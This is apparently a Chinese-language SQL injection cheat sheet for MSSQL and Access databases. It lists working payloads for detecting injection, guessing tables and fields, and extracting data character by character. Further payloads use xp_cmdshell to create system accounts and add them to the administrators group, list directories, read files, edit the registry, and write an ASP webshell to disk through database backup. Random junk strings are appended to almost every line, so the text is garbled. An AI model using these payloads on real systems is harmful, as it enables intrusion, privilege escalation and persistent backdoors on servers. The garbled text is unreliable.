1.判断是否有注入;and 1=1 ;and 1=2 6DIZ@ oi
2.初步判断是否是mssql ;and user>0 3chPY4~A
(:V>Hjt
3.注入参数是字符'and [查询条件] and ''=' +ECDD'^!
_Q%vK*n
4.搜索时没过滤参数的'and [查询条件] and '%25'=' ^g1f X1
S{]7C?4`
5.判断数据库系统 u9woEe?
Jq.lT(E8D
;and (select count(*) from sysobjects)>0 mssql $3T_.
,fDEz9-,
;and (select count(*) from msysobjects)>0 access IzOYduJ.
4BYE1fUzd
3f Xv4R;!:
\`V$
'B{.
6.猜数据库 ;and (select Count(*) from [数据库名])>0 Qhi '')Q
Y/<lWbj*A
7.猜字段 ;and (select Count(字段名) from 数据库名)>0 '+>fFM,*B
F7L &=K$2y
8.猜字段中记录长度 ;and (select top 1 len(字段名) from 数据库名)>0 7M_U2cd|TD
gbeghLP[?
9.(1)猜字段的ascii值(access) YpAg
|'ln?D:&
;and (select top 1 asc(mid(字段名,1,1)) from 数据库名)>0 8b.u'r174
WW2Ob*
(2)猜字段的ascii值(mssql) ?<&O0'Q
kqYa*| l
;and (select top 1 unicode(substring(字段名,1,1)) from 数据库名)>0 fA%z*\
3ya1'qUC
10.测试权限结构(mssql) 5RH2"*8T
k#Of]mXXz
,Y?sfp
%
}|cb7l
;and 1=(select IS_SRVROLEMEMBER('sysadmin'));-- yH 9!GS#
LTV{{Z+
;and 1=(select IS_SRVROLEMEMBER('serveradmin'));-- ZoB*0H-
9//+Bh
;and 1=(select IS_SRVROLEMEMBER('setupadmin'));-- W%2
80\h
v0D q@Q1
;and 1=(select IS_SRVROLEMEMBER('securityadmin'));-- &c(WE
RW?-
/iNa'W5\
;and 1=(select IS_SRVROLEMEMBER('diskadmin'));-- >SN|?|2U/
-4w=s|#.\
;and 1=(select IS_SRVROLEMEMBER('bulkadmin'));-- PjT=$]
1(zsOeX
;and 1=(select IS_MEMBER('db_owner'));-- H7Uli]e3
p^nL&yIW,%
)3YtIH_
4h!f/aF'
11.添加mssql和系统的帐户 xqXDxJlns
t>GfM
;exec master.dbo.sp_addlogin username;-- (bOpV>\Q7
;exec master.dbo.sp_password null,username,password;-- Z@8vL
f'I z
G.R
;exec master.dbo.sp_addsrvrolemember sysadmin username;-- w;}@'GgL
b `2|I {
;exec master.dbo.xp_cmdshell 'net user username password I$NhXZ)KT
EV#MQM
/workstations:*/times:all/passwordchg:yes /passwordreq:yes /active:yes /add';-- tt?58dm|
=~Ynz7 /x
;exec master.dbo.xp_cmdshell 'net user username password /add';-- )#a[-.OI
ML-)I&>tT
;exec master.dbo.xp_cmdshell 'net localgroup administrators username /add';-- |4mpohX
Cz4)Yz
KfBTL!0#
_rV 5E
12.(1)遍历目录 i&njqK!wS
>-_d CNZ
;create table dirs(paths varchar(100), id int) id<:p*
BR^7_q4q
;insert dirs exec master.dbo.xp_dirtree 'c:\' 7"7rmZ
cYx4~ V^
;and (select top 1 paths from dirs)>0 )%SkJ
x:vu'A
;and (select top 1 paths from dirs where paths not in('上步得到的paths'))>) /(.6bv
rhpPCt
zWpqJK
GU't%[
(2)遍历目录 bWl5(S` Z
4L-:*b_v\
;create table temp(id nvarchar(255),num1 nvarchar(255),num2 nvarchar(255),num3 nvarchar(255));-- L-pVltX
;insert temp exec master.dbo.xp_availablemedia;-- 获得当前所有驱动器 xvzr:pP
2 oa#0`{
;insert into temp(id) exec master.dbo.xp_subdirs 'c:\';-- 获得子目录列表 %8*64T")
n .!Ym
X4
;insert into temp(id,num1) exec master.dbo.xp_dirtree 'c:\';-- 获得所有子目录的目录树构 >@WX>0`ht
X1IeSMAe
;insert into temp(id) exec master.dbo.xp_cmdshell 'type c:\web\index.asp';-- 查看文件的内容 }?cGf-c
tt%MoQ)
+jg9$e "
JOjoiA
13.mssql中的存储过程 ky
8e p
ml@2wGyf
xp_regenumvalues 注册表根键, 子键 ,BF E=:ZIK
"fg](Cp[z
;exec xp_regenumvalues 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion\Run' 以多个记录集方式返回所有键值 cJM:
<APB11
xp_regread 根键,子键,键值名 RH}A
=X?\MVWB
;exec xp_regread )
\Y7&
f:g,_|JD$
'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','CommonFilesDir' 返回制定键的值 d=,%=@
1h*)@
xp_regwrite 根键,子键, 值名, 值类型, 值 bifS 2>c
]M)O YY
值类型有2种REG_SZ 表示字符型,REG_DWORD 表示整型 1)}=bhT
2&+#Vsm`V
;exec xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','TestValueName','reg_sz','hello' 写入注册表 Auy_K?he]
T081G`li
xp_regdeletevalue 根键,子键,值名 J7C4V'_
yCJ Fo
exec xp_regdeletevalue 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','TestValueName' 删除某个值 r ]W
7nbB^2
xp_regdeletekey 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion\Testkey' 删除键,包括该键下所有值 _#$*y
>0{S
U yw-2]!n
Ngb(F84H?
14.mssql的backup创建webshell v+jsC`m
h25G/`
use model IHgeQ F
~
f84:hXo6
create table cmd(str image); ,uzN4_7u
*. 3N=EO
insert into cmd(str) values (''); ,>t69 Ad
\#68;)+=
backup database model to disk='c:\l.asp'; _k^0m
Q]rD}Ckv-
b 1&i# I?{
J$~<V
IX
15.mssql内置函数 _U;eN|Ww
s>0Nr
;and (select @@version)>0 获得Windows的版本号 [D5t{[i
7_2kDDW0
;and user_name()='dbo' 判断当前系统的连接用户是不是sa <foCb%$(?
Kj=b[e%
;and (select user_name())>0 爆当前系统的连接用户 y9#$O(G
/-6S{hl9Ne
;and (select db_name())>0 得到当前连接的数据库 qO`)F8
tpy>OT$
6#j$GH *
R3k1RE2c&g
16.简洁的webshell kNu'AT#3|
OD Ur
use model 7iJ&6=/
j@Yi`a(sdm
create table cmd(str image); OMwsbp&
X=8Y%
insert into cmd(str) values (''); [m+iQVk'
@aQ1khEd
backup database model to disk='g:\wwwtest\l.asp';